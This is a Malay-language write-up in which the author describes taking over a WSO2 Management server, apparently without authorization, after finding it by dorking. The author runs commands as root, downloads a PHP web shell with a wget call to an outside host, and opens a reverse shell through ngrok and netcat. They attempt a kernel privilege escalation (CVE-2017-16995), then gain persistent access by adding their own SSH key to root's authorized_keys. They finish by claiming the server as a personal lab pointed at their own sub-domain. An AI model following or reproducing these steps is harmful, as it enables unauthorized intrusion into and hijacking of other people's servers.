Write-Up [WSO2 Management Exploit]

Assalamualaikum, so harini nak buat writeup dari PoC [WSO2 Management] kepada SSH(berserta Privilege Escalation).

Disini saya telah berjaya meng-eksploitasi satu urls dengan menggunakan teknik dorking.

Screenshot_251

Setelah saya berjaya meng-eksploitasi urls tersebut, saya terus mencuba mendapatkan user dengan menggunakan whoami. Disini mungkin agak sedikit "LUCKY" apabila output yang tampil adalah "root".

Screenshot_4

Seperti biasa, saya akan mencuba untuk melakukan pencarian untuk mencari aplikasi yang tersedia seperti php, python, apache2, nginx, perl, wget dan curl. Sebelumnya php dan apache2 tidak tersedia di dalam server. Kemudian saya cuba untuk menginstall secara direct melalui basic unix command disebabkan privilege yang telah ada iaitu 'root', di bawah ini adalah output ditampilkan setelah saya berjaya menginstall package tersebut.

Screenshot_253 Screenshot_243

Seterusnya, saya ingin membuat back-connect, kerana shell yang tersedia iaitu "cmd.jsp" tidak memuaskan dan mungkin jalan kerja terlalu banyak. Lalu saya cuba memanggil php shell dengan menggunakan 'wget myshell.my/raw.txt -O corntoll.php'. Dibawah ini adalah tampilan setelah saya berjaya memanggil file php tersebut.

Screenshot_21

Dan dibawah ini adalah tampilan setelah saya berjaya mengexecute corntall.php

Screenshot_254

Seterusnya, saya terus membuat back-connect/reverse php shell tersebut.

Screenshot_9

Kemudian, saya listen seperti biasa menggunakan ngrok dan netcat.

Screenshot_8

Lalu, back-connect/reverse telah berjaya dilakukan.

Screenshot_255

Disini saya memanggil fully interactive TTYs menggunakan Python3. Seterusnya, saya cuba mendapatkan user.

Screenshot_11

Saya cuba untuk mendapatkan akses 'ROOT' daripada back-connect dengan cara mengeksploitasi CVE-2017-16995.

Screenshot_22 Screenshot_259

Tetapi ianya gagal setelah saya compile dan cuba untuk meng-eksploitasi kernel tersebut. Mungkin disebabkan version kernel server dan CVE agak berbeza tiga angka?

Screenshot_12

Disini saya juga telah mencuba membuat 'chown' dan 'chmod +x' untuk memastikan CVE tersebut mendapatkan akses permission yang lengkap namun gagal.

Screenshot_13 Screenshot_14

Jadi, saya cuba untuk menggunakan cara lain dimana saya telah mendapat idea untuk menggunakan SSH. Disini saya membuat semakan sama ada aplikasi SSH sedang berjalan ataupun tidak.

Screenshot_247 Screenshot_249

Ianya menunjukkan bahawa SSH tidak active, jadi saya mengaktifkan aplikasi SSH tersebut seperti yang dibawah.

Screenshot_256

Setelah servis SSH aktif, saya terus cuba login tapi gagal dengan error yang ditampilkan dibawah.

Screenshot_257

Jadi, saya cuba untuk generate ssh-key sendiri dan menambah public key tersebut ke file '/root/.ssh/authorized_keys' seperti yang ditampilkan.

Screenshot_16

Lalu, saya terus cuba untuk login daripada console Powershell.

Screenshot_17

Apabila melihat login SSH telah berjaya, saya terus melakukan semakan user menggunakan 'whoami'.

Screenshot_18

"BOOM!" root. Bukan sahaja akses root, malah saya juga telah mendapatkan akses direct kepada SSH. Sekarang ianya telah menjadi LABORATORY peribadi saya. Server itu juga telah dipointing kepada sub-domain saya sendiri.

Screenshot_260 Screenshot_19

Setelah melakukan penyiasatan dengan lebih lanjut, saya mendapati bahawa server tersebut menggunakan Tomcat Apache, dimana ianya menggunakan Java. Disitu, 'cmd.jsp' telah di eksploitasi untuk mendapatkan akses SSH root.

BIG THANKS TO PARI MALAM.